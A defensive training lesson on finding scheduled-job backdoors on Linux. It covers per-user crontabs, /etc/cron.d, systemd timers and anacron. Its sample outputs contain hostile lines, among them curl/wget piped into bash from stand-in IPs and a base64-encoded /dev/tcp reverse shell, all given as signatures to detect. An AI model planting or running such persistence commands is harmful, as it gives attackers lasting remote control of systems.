Cron Persistence: Hunting Scheduled Backdoors
- Enumerate every place a scheduled job can hide, not just your own crontab
- Recognize the signatures of a malicious cron entry — base64, piped downloads, reverse shells, and minute-by-minute beacons
- Hunt rogue systemd timers, the modern replacement for cron
- Account for anacron, which fires missed jobs after a boot
- Remove the schedule, not just the process, so a killed backdoor stays dead
Why scheduled jobs are the attacker's favorite persistence
Understand why killing a backdoor process is not enough — you have to remove its schedule.
You found the backdoor process, you killed it, the CPU graph went flat. Five minutes later it's back. You kill it again. It comes back again.
What you're fighting isn't the process — it's the schedule that keeps re-launching it. An attacker who wants to survive reboots and clean-up rarely relies on a single running program. Instead they plant a scheduled job: a line in cron, a systemd timer, an anacron entry — something the system itself faithfully re-runs on a clock. The malware doesn't have to stay alive. It just has to be re-spawned.
Think of a wind-up toy that rewinds itself. Knock it over and it stands back up, because the spring keeps turning. Stomping the toy (killing the process) does nothing while the spring (the schedule) is intact. To actually stop it you have to find and disarm the spring — and on Linux there are several springs, in several drawers, and a hunter who checks only one drawer declares the box clean while it's still compromised.
Per-user crontabs: check every user, not just yourself
Enumerate all users' crontabs, since each account has its own and root's is the prize.
Each user account has its own personal crontab. You read your own with
crontab -l, and you read someone else's withcrontab -l -u <user>. The catch: an attacker who compromised thewww-dataaccount (or root) plants the job in that user's crontab — not yours.These personal crontabs live as files under
/var/spool/cron/(the exact subpath varies by distro:/var/spool/cron/crontabs/on Debian/Ubuntu,/var/spool/cron/on RHEL). You should never edit those files directly, but as a hunter it's worth knowing they exist — a non-empty spool file for a service account that should never schedule anything is itself suspicious.The move that separates a hunter from a beginner: loop over every account in `/etc/passwd` and dump each one's crontab.
for u in $(cut -f1 -d: /etc/passwd); do echo "=== $u ==="; sudo crontab -l -u "$u" 2>/dev/null; done=== root === === daemon === === www-data === */5 * * * * curl -s http://203.0.113.45/b.sh | bash === backup === 0 3 * * * /usr/local/bin/backup.sh
- cut -f1 -d:
- Pull just the username (field 1, colon-delimited) from each line of /etc/passwd.
- crontab -l
- List (print) a crontab instead of editing it.
- -u "$u"
- Target a specific user's crontab. Requires root to read other users'.
- 2>/dev/null
- Suppress the 'no crontab for X' noise so only real entries stand out.
Most accounts have nothing — that's expected. The outlier is `www-data`: a web-server account has no business running a scheduled job at all, and this one runs every 5 minutes ( */5 * * * *), pulling a script off an external IP withcurland piping it straight intobash. That single line is the spring.backup's nightlybackup.shat 3am, by contrast, is a normal administrative job.Check yourself
You're hunting on a web server and run only
crontab -las your login user. Why is that dangerously incomplete?System-wide cron: /etc/crontab, /etc/cron.d, and the cron.* dirs
Sweep the system-wide cron locations that personal crontabs never cover.
Personal crontabs are only half the map. The system has its own scheduling locations, and they're a popular hiding spot precisely because hunters forget them:
- `/etc/crontab` — the master system crontab. Its lines have an extra field: a username to run as, between the time fields and the command.
- `/etc/cron.d/` — a drop-in directory. Any file dropped here is treated as a system crontab fragment (same 7-field format). Dropping a single file here is an attacker's clean way to add a job without editing any existing file.
- `/etc/cron.hourly/`, `/etc/cron.daily/`, `/etc/cron.weekly/`, `/etc/cron.monthly/` — directories of scripts. Anything executable here runs on that cadence. No cron syntax needed: just drop an executable script and it runs.
Grep them all at once and read every line with fresh suspicion.
cat /etc/crontab; ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/# /etc/crontab: system-wide crontab 17 * * * * root cd / && run-parts --report /etc/cron.hourly * * * * * root /usr/bin/python3 -c 'import socket...' #updated /etc/cron.d/: -rw-r--r-- 1 root root 128 Jun 23 11:40 0hourly -rw-r--r-- 1 root root 94 Jun 23 11:52 .sysupdate /etc/cron.daily/: -rwxr-xr-x 1 root root 376 Jun 23 11:55 logrotate -rwxr-xr-x 1 root root 211 Jun 23 11:58 man-db
- cat /etc/crontab
- Print the master system crontab (7-field lines with a run-as user).
- ls -la
- Long listing including dotfiles — attackers hide drop-ins with a leading dot.
Two red flags. In /etc/crontab, the line *` root /usr/bin/python3 -c 'import socket...'** runs **every single minute, as root**, executing inline Python — the run-parts line above it is the only legitimate entry. And in/etc/cron.d/there's **.sysupdate**: a **dot-prefixed** file (hidden from a plainls) that masquerades as an update job. Plainlswould never have shown it — that's why you usedls -la`.Example — not runnable on your lab box
cat /etc/cron.d/.sysupdate* * * * * root echo YmFzaCAtaSA+JiAvZGV2L3RjcC8yMDMuMC4xMTMuOS80NDQ0IDA+JjE= | base64 -d | bash
Decoded, that base64 blob is bash -i >& /dev/tcp/203.0.113.9/4444 0>&1— a reverse shell to the attacker's host on port 4444, fired every minute as root. Thebase64 -d | bashpattern exists for one reason: to keep the real payload out of plain sight in logs and casual greps. Seeingbase64 -dpiped into a shell inside a cron entry is almost always malicious.Check yourself
What does a cron line containing
base64 -d | bash(orcurl ... | bash) strongly indicate, and why use that form?systemd timers: the modern cron
Hunt rogue .timer + .service pairs, which schedule jobs without touching cron at all.
Modern distros increasingly schedule work with systemd timers instead of cron — and so do modern attackers, because a hunter who only knows cron will never look here. A timer is two units working together (you met units in the systemctl lesson):
- a `.timer` unit that says when to fire (every 10 minutes, daily, 5 minutes after boot…)
- a `.service` unit it activates that says what to run.
Kill the service's process and the timer simply re-activates it on the next tick — the wind-up spring again, just in systemd's drawer.
systemctl list-timersis the single command that lays them all out.systemctl list-timers --allNEXT LEFT LAST UNIT ACTIVATES Thu 2026-06-23 12:01:00 UTC 34s left ... sysupdate.timer sysupdate.service Thu 2026-06-23 13:00:00 UTC 58min left ... logrotate.timer logrotate.service Fri 2026-06-24 00:00:00 UTC 11h left ... man-db.timer man-db.service 3 timers listed.
- list-timers
- Show all systemd timers with their next/last fire time and the unit each activates.
- --all
- Include inactive/dead timers too — a disabled-looking rogue timer still shows up.
logrotateandman-dbare stock housekeeping timers. `sysupdate.timer` is the suspect: a generic, official-sounding name, firing again in 34 seconds (a very tight cadence). TheACTIVATEScolumn names its partner unit —sysupdate.service— which is exactly what you read next.systemctl cat sysupdate.timer sysupdate.service# /etc/systemd/system/sysupdate.timer [Timer] OnBootSec=2min OnUnitActiveSec=1min [Install] WantedBy=timers.target # /etc/systemd/system/sysupdate.service [Service] Type=simple ExecStart=/bin/bash -c 'wget -qO- http://203.0.113.77/m | bash'
- cat <unit>
- Print a unit's full on-disk definition (and its file path) without opening an editor.
The timer fires 2 minutes after boot ( OnBootSec) and then every minute (OnUnitActiveSec=1min). Its service'sExecStartrunswget -qO- http://203.0.113.77/m | bash— fetch a remote script and pipe it into a shell, the samecurl|bashpattern you saw in cron, now wearing a systemd costume. Both unit files live under/etc/systemd/system/, where local admin (and attacker) units go.Check yourself
A systemd timer schedules a job through a partner unit. What type of unit does a
.timeractivate to actually run the work?anacron: the job that catches up after a reboot
Account for /etc/anacrontab, which runs MISSED jobs once the machine comes back up.
There's one more drawer, and it's the sneakiest. Plain cron assumes the machine is always on — if a job was scheduled for 3am and the box was powered off, that run is simply skipped. That's a problem for laptops and desktops, which is why anacron exists.
Anacron doesn't care about wall-clock time; it tracks how many days since each job last ran, and after a boot it runs anything that's overdue. Its config is `/etc/anacrontab`, with entries shaped like
period delay job-id command.For a hunter this matters enormously: a victim might reasonably think "my laptop was off all night, so the scheduled malware never ran." With anacron, the missed job simply runs when they next power on — the wind-up spring releases the moment the toy is picked back up. So your sweep is incomplete until you've read
/etc/anacrontabtoo.Example — not runnable on your lab box
cat /etc/anacrontabSHELL=/bin/sh PATH=/sbin:/bin:/usr/sbin:/usr/bin # period(days) delay(min) job-id command 1 5 cron.daily run-parts --report /etc/cron.daily 7 25 cron.weekly run-parts --report /etc/cron.weekly 1 2 .check /usr/bin/curl -fsSL http://203.0.113.31/p | sh
- cat /etc/anacrontab
- Print the anacron table: period (days), delay (minutes after boot), job-id, command.
The first two lines are stock — they hand the daily/weekly directories to anacron so a powered-off box still gets its maintenance. The third, `.check`, is the plant: a 1-day period with only a 2-minute post-boot delay, running curl ... | sh. Translation: within two minutes of every boot (if a day has passed), the machine fetches and runs the attacker's script — guaranteeing the backdoor re-establishes even on a laptop that's rarely on.Check yourself
Why is an anacron entry especially dangerous on a laptop that's frequently powered off?
Try it in your live terminal
Run the full read-only persistence sweep yourself on the real sandbox to your right.
You have a real root shell. Run this sweep top to bottom — it's the exact checklist you'd run on a "this box keeps re-infecting itself" call. Every command here is read-only: you're enumerating schedules, not changing anything yet. There may be nothing malicious here; the goal is to make the moves reflexive, so on a real box you check every drawer, not just the first.
for u in $(cut -f1 -d: /etc/passwd); do echo "=== $u ==="; sudo crontab -l -u "$u" 2>/dev/null; doneEvery user's personal crontab, not just yours. Watch for service accounts (like www-data) with any job, every-minute schedules, and curl/wget/base64 payloads. cat /etc/crontab; ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/The system-wide cron locations. Note dot-prefixed drop-ins in /etc/cron.d/ and any unfamiliar script in the cron.* directories. systemctl list-timers --allEvery systemd timer and the service it activates. Investigate any timer with a generic name and a tight cadence by reading its unit: systemctl cat <name>.timer <name>.service.Example — not runnable on your lab box
cat /etc/anacrontab 2>/dev/null || echo 'no /etc/anacrontab here — anacron ships in its own package (Debian/Ubuntu: anacron, RHEL: cronie-anacron); on a box that has it, read this drawer too'The catch-up scheduler. Flag any job with a short post-boot delay or a command that fetches and pipes to a shell.
- Killing the process doesn't help while the schedule survives — remove the schedule (the wind-up spring), then the process.
- Check every drawer: all users' crontabs, /etc/crontab, /etc/cron.d/, the cron.{hourly,daily,weekly,monthly} dirs, systemd timers, and anacron. Checking only
crontab -lis the classic miss. - Malicious-entry signatures:
base64 -d | bash,curl/wgetpiped to a shell,bash -i >& /dev/tcp/.../...reverse shells, hidden dot-files, and* * * * *every-minute cadences. - systemd timers are modern cron — a
.timeractivates a.service; cron-only hunting misses them entirely. - anacron runs missed jobs after a boot, so 'the machine was off' is no defense — read /etc/anacrontab too.
| Location | Command to check | Red flag |
|---|---|---|
| Per-user crontabs | crontab -l -u <user> for every user in /etc/passwd | Service account with any job; curl/base64 payload; */1 cadence |
| Spool files | ls -la /var/spool/cron/ /var/spool/cron/crontabs/ | Non-empty spool for an account that shouldn't schedule anything |
| System crontab | cat /etc/crontab | Inline python3 -c/bash -c, run-as root, every-minute lines |
| Drop-in dir | ls -la /etc/cron.d/ | Dot-prefixed/hidden files; base64 or /dev/tcp payloads |
| Periodic dirs | ls -la /etc/cron.{hourly,daily,weekly,monthly}/ | Unfamiliar executable scripts you can't account for |
| systemd timers | systemctl list-timers --all then systemctl cat <t>.timer <t>.service | Generic name, tight OnUnitActiveSec, ExecStart that pipes to a shell |
| anacron | cat /etc/anacrontab | Short post-boot delay; fetch-and-pipe-to-shell command |
